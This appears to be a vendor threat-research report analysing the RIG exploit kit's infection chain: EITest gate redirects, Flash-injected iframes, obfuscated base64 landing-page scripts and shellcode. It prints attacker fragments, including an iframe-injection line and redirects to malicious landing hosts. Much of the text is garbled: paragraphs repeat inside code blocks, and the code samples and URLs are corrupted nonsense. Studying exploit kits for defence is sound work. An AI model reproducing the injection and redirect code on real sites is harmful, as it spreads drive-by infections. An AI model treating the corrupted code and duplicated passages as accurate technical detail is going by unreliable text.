Talos is monitoring the most widely used Exploit Kits (EK) on an ongoing basis. Since August 2016, several EKs have been competing to fill the gap left by the disappearance of Angler. During this time, RIG has managed to emerge as the most prominent EK. Its developers are constantly developing new features and techniques to evade detection and make the exploit kit more successful. This report provides more details on the complex infection process the actors behind RIG are using to infect targets and their attempts to bypass security software and devices.

The adversaries leverage redirecting gates, such as EITest, to set off a chain of redirects, before the target encounters the final exploit kit landing web page. Different methods and different execution stages are used to deliver malware files which sometimes leads to a condition where the same malware executable is both written to disk and executed multiple times. If one method does not work or is blocked by an Anti-Malware solution, RIG will resort to backup methods. All stages and methods of the infection chains are obfuscated, with various levels of obfuscation complexity.

Many communication parameters, for example URLs and filenames are specifically generated for each connection. This makes attacks more difficult to detect by solely relying on URLs or document names. We describe the variations in the technical details section below.
INFECTION PROCESS HIGH LEVEL OVERVIEW

For this paper Talos analysed a campaign affecting mainly compromised sites, but there are other campaigns redirecting to the RIG EK where malvertising was used to kick start the infection process (FIGURE A). The campaign is orchestrated by compromising legitimate sites and adding an HTML element to redirect the browser to a gate server that downloads a malicious Flash file. The Flash file creates two malicious iframe elements. The content of the generated iframes is also downloaded from the same gate server (FIGURE B).

It is worth noting that the iframes are not generated at the same time. The second iframe is generated and placed into the website slightly after, an ActionScript timer object in the Flash file times out. Some other campaigns do not even generate the second iframe element and consist of a single infection stage (FIGURE C).

The first stage iframe contains JavaScript code that redirects the victim to the RIG landing page (FIGURE D).

The RIG EK landing page is obfuscated and includes three embedded scripts. The scripts are deobfuscated by applying operations on three JavaScript variables. The second script of the next stage downloads another malicious and this time heavily obfuscated Flash file.

This RIG variant is not the only one we observed. It seems that RIG based EKs are flexible enough to allow the attackers to change certain parameters on the fly. As we previously mentioned, some campaigns were only using a single infection stage while others replaced the three scripts we are discussing here with different script types. For example, one RIG instance used two VBScripts and one JavaScript to download a single Flash file. A common characteristic of all observed RIG campaigns is that the download scripts are stored in variables named “s”, and that their content is encoded using base64 encoding (FIGURE E).

In a single campaign, all the scripts eventually download and execute the same malware payload intended to be installed on the victim’s machine. After the timer object (FIGURE C) times out, the second stage of infection is initiated. With a few minor differences, such as the new session number, the second stage is very similar to the first one (FIGURE F).

TECHNICAL DETAILS

As we already mentioned, in this campaign the adversaries used compromised websites. The compromised sites were modified to include the following code snippet from the initially infected site, as illustrated in FIGURE G.

The movie parameter, pointing to the amocy.top host is a good indicator that we are looking at the E1Test gate used by RIG EK. The code downloads a malicious flash file (SWF) containing obfuscated
ActionScript code. The deobfuscated script is displayed in FIG. H.

After checking for different versions of Internet Explorer, the malicious ActionScript code randomly generates a filename used to create the second malicious iframe. After generating the base part of the name, it chooses one of the following filename extensions: ('.html', '.html', '.jpeg', '.png', '.jpg', 'gif'),. As an example we will use a generated filename asd.jpeg.

The HTML code of the generated iframe:

d.innerHTML = '<iframe src="<local URL of swf file>+file' + temp + '"></iframe>"';

This script gets executed twice which results in embedding a malicious iframe two times into the compromised site. The second attempt happens later after the timer times out. The above generated URIs which are used to fill the iframe look like this:

First request:

```
http://amocy.top/<filename extension jpeg>
```

Second request (content of this document will be discussed later in the report):

```
http://amocy.top/<filename extension jpeg>
```

This all gets resolved by the iframe which is created from the URL stored in the script.

After executing a couple of tests on the same site (FIG. K), the malware payload is downloaded from the URL stored in the script.

Even if the generated filename has the filename extension jpeg, the downloaded file is still just a regular HTML file (FIG. I).

The function of the HTML file is simply to redirect the browser to the RIG landing page:

```
x-hxxp://ds.a.FAITHFULBUSINESSVENTURES.5.com/7nixKfzg/wvmv>A55PfYzV3 4FXpSGu-3w0VqPCRqJNH8pK3CJ-oJrSlit70F2psaqylYFXaGI7q4aFzW9hQ5 W5sEzMrIFkYw3s6t9hKw8k0-cb2W1gSLQq6lOWIXnEzcdebcVwhKXmWRleQgFfD
```

The landing page is a large obfuscated HTML file (FIG. J), which includes three variables called 's'. The variables contain one base 64 encoded VBScript (VBS) script and two base 64 encoded JavaScript (JS) scripts executed by the obfuscated RIG landing page code. After decoding and analyzing everything, all three attempts to download identical malware payload. The difference is in the vulnerability each script attempts to exploit to download and execute the payload.

Let us now take a closer look at these three scripts.

**FIRST BASE64 ENCODED VARIABLE "S"**

The first Base64 encoded variable 's' is decoded to the VBScript script shown in FIG. K.

After executing a couple of tests on the target system, the script calls the DoMagic() function, which eventually downloads the main malware payload from the URL stored in the script.

The downloaded payload is then XOR redacted. 

--- snip ---

**SECOND BASE64 ENCODED VARIABLE "S"**

The second Base64 encoded Variable 's' is decoded to the JavaScript script shown in FIG. J.

--- snip ---

**THIRD BASE64 ENCODED VARIABLE "S"**

The third Base64 encoded variable 's' is decoded to the ActionScript script shown in FIG. H.
DoSWF is an easy to use copy protection tool for Flash files. Its users can combine multiple obfuscation methods on demand and it is not surprising that SWF files from different RIG campaigns are obfuscated with different DoSWF features.

After Talos compiled the SWF file, all functions and many variables names were replaced with Unicode characters as shown in the FIGURE N on the right.

Most of the internal strings are encrypted and resolved at runtime (for example _SafeStr_14._unicode function name="1828302799"). Thanks to a feature of ASV that can evaluate static methods on demand, we can leverage the SWF’s own code to decrypt the strings (FIGURE O).

After cleaning up and removing most of the obfuscation we still end up with object oriented code difficult to analyse, polymorphic methods, objects and methods assigned to chains of variables. The document class where the code execution starts is _SafeStr_12 (FIGURE P).

Note: The class names are generated dynamically by the ASV tool which we used to decompile the SWF. These names most likely vary on other setups.
After a couple of environment checks to determine the underlying operating system version, Flash player type, Flash version and presence of a debugger, the SWF reads the "idqpp" parameter which we previously observed in the JavaScript code, decodes it and merges with a string stored inside the SWF file (60b...). Finally, it hands over the reconstructed shellcode to the function _p8b_ (FIGURE 4).

The sideload on the left shows the final string stored in the shellcode.

Interestingly, this is the same binary blob as the one used in the third variable 's' JavaScript code and passed as a parameter to the ty() function.

This shellcode appears to be common to all exploits. The binary blob is XOR'ed with 0x19 and after decryption, we can see the following parameter to the ty() function.

```
As mentioned before, a parameter of the ty() function is the actual shellcode as a previously observed in the JavaScript reads the "idqpp" parameter which we previously observed in the JavaScript code, decodes it and merges with a string stored inside the SWF file (60b...). Finally, it hands over the reconstructed shellcode to the function _p8b_ (FIGURE 4).

Interestingly, this is the same binary blob as the one used in the third variable 's' JavaScript code and passed as a parameter to the ty() function. This shellcode appears to be common to all exploits. The binary blob is XOR'ed with 0x19 and after decryption, we can see the following parameter to the ty() function.

```

```
var func2 = String

```
This URL redirects the target to another large HTML landing page similar to the RIG landing page described in the first infection chain. Once again, we can observe three Base64 encoded 'variables containing malicious scripts similar to the ones used by the first stage (Figure U).

The variable values look different at first but after decoding, they are almost the same as the malicious scripts used in the first stage.

FIGURE U

Third variable ("S" and "AND AGAIN, THE SAME JAVA SCRIPT USED PREVIOUSLY): Once again, the URL is a bit different and is using a new session ID, but results in the same malicious SWF file being loaded. The "1dd4q" parameter is different, but the same malware payload is still downloaded (Figure W).

Third variable ("S" AND AGAIN, JAVA SCRIPT): The third variable contains a familiar function ty(), with the content adapted to the new session ID. After decoding, they are almost the same as the scripts from the other infection chain. Once again, we can observe three Base64 encoded 's containing malicious scripts, is that RIG inserts obfuscated versions, is that RIG inserts equivalent with the scripts from the first infection chain. Once again, we can observe three Base64 encoded 's containing malicious scripts.
**SAME JAVASCRIPT CODE, DIFFERENT RANDOM COMMENTS:**

**STAGE 1:**
```javascript
// *safedfhud2088bfjfsf["7"]*JZh4z9aSdf
dkj2f9ygf*function u(x){(return un escape)(function p(x){return par select(c,16)})
```

The other minor difference is in different unique session numbers. E.g.

**STAGE 1:**
```javascript
Die gds, jht, yrt
gds = "*http://dose.greatbusinessproducts.nox/index.php?n=1f1k8d8U0MDYA*-
12WwF1y3f5R>GQ<sdw<gb8D<SRQH<IP<SNK<
S6NXXCF>Si5170F:fzq6<yQ<FCQ<4Up4aF<
```

**STAGE 2:**
```javascript
Die gds, jht, yrt
gds = "*http://dose.greatbusinessproducts.nox/index.php?n=1f1k8d8U0MDYA*-
12WwF1y3f5R>GQ<sdw<gb8D<SRQH<IP<SNK<
S6NXXCF>Si5170F:fzq6<yQ<FCQ<4Up4aF<
```

**NETWORK OVERVIEW**

This section describes the network events which may be observed during the RIG infection process.

A user visits a compromised site and the page:

Downloads Flash file (SWF) from ElTest Gate:
```javascript
hx:omap;gx:pioneerface1469mp@e-t@6b3c1nNf-ff9ppm3te
doaalacspmpmekpmp:m1d-9al19s5epcs@el-fplpasepod0bops0bas7
```

Flash file (SWF) creates malicious IFRAME(s) which downloads:
```javascript
hx:omap;gx:pioneerface1469mp@e-t@6b3c1nNf-ff9ppm3te
doaalacspmpmekpmp:m1d-9al19s5epcs@el-fplpasepod0bops0bas7
```

and a bit later (after the timer object times out):
```javascript
hx:omap;gx:pioneerface1469mp@e-t@6b3c1nNf-ff9ppm3te
doaalacspmpmekpmp:m1d-9al19s5epcs@el-fplpasepod0bops0bas7
```

```javascript
asj.jpg
```

asj.jpg is a HTML file, redirecting the browser to:
```javascript
document.location.href = "http://dose.greatbusinessproducts.nox/index.php?n=1f1k8d8U0MDYA*-
12WwF1y3f5R>GQ<sdw<gb8D<SRQH<IP<SNK<
```

The large HTML landing page is loaded, including the three ‘s’ variables described in the technical details section. The decoded ‘s’ variable script may be different in other RIG campaigns and, for example, may contain two VBscripts and one SWF file.

- **s(1)** Base64 blob1 – Vbscript → downloads malware
- **s(2)** Base64 blob2 – JavaScript downloads malware
- **s(3)** Base64 blob3 – JavaScript downloads malware

```javascript
rqqgl1id kicks off the second infection stage and is similar to asd.jpg. It redirects to:
```
```javascript
document.location.href = "http://dose.greatbusinessproducts.nox/index.php?n=1f1k8d8U0MDYA*-
12WwF1y3f5R>GQ<sdw<gb8D<SRQH<IP<SNK<
```

which hosts another HTML landing page, containing the three ‘s’ variables of the second infection stage.

- **s(1)** Base64 blob1 – Vbscript + downloads malware
- **s(2)** Base64 blob2 – JavaScript + downloads malware
- **s(3)** Base64 blob3 – JavaScript + downloads malware

**SUMMARY**

Developers of the RIG exploit kit are regularly using gates to redirect their victims to landing pages, which makes following the infection chain difficult. Various layers of obfuscation are applied to the code in an attempt to hide the combination of different web technologies used by the infection chain (JavaScript, Flash, VBScript). The obfuscation of the code also makes reverse engineering and analysis of the attack progression more difficult. Random generation of comments per session and polymorphic encoding of files transmits over the wire ensures that the scripts are looking different for every session and cannot be detected by simple string matches or hashing. All available tools and techniques provide threat actors with extended flexibility to change parts of the infection chain on demand.

**PROTECTING USERS**

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. The Network Security protection of IPS and NGFW has up-to-date signatures to detect malicious network activity by threat actors. ESA can block malicious emails sent by threat actors as part of their campaign.